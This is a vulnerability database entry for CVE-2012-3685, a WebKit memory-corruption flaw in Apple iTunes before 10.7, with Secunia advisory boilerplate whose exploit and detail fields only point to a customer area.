ORIGINAL ADVISORY:
APPLE-SA-2012-09-12-1:
http://lists.apple.com/archives/security-announce/2012/Sep/msg00001.html
OTHER REFERENCES:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
DEEP LINKS:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED DESCRIPTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXTENDED SOLUTION:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
EXPLOIT:
Further details available in Customer Area:
http://secunia.com/vulnerability_intelligence/
----------------------------------------------------------------------
About:
This Advisory was delivered by Secunia as a free service to help
private users keeping their systems up to date against the latest
vulnerabilities.
Subscribe:
http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.)
http://secunia.com/advisories/about_secunia_advisories/
Please Note:
Secunia recommends that you verify all advisories you receive by
clicking the link.
Secunia NEVER sends attached files with advisories.
Secunia does not advise people to install third party patches, only
use those supplied by the vendor.
----------------------------------------------------------------------
Unsubscribe: Secunia Security Advisories
http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
----------------------------------------------------------------------
| VAR-201209-0174 | CVE-2012-3685 | plural Apple Used in products WebKit Vulnerable to arbitrary code execution |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
WebKit, as used in Apple iTunes before 10.7, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption and application crash) via a crafted web site, a different vulnerability than other WebKit CVEs listed in APPLE-SA-2012-09-12-1. WebKit is prone to multiple unspecified memory-corruption vulnerabilities.
An attacker can exploit these issues by enticing an unsuspecting user into visiting a malicious webpage with a vulnerable application.
Few technical details are currently available. We will update this BID when more information emerges.
Successful exploits will allow attackers to execute arbitrary code in the context of the affected browser or cause denial-of-service conditions; other attacks may also be possible. WebKit is a set of open source web browser engines jointly developed by companies such as KDE, Apple (Apple), and Google (Google), and is currently used by browsers such as Apple Safari and Google Chrome. Vulnerabilities exist in using WebKit in versions prior to Apple iTunes 10.7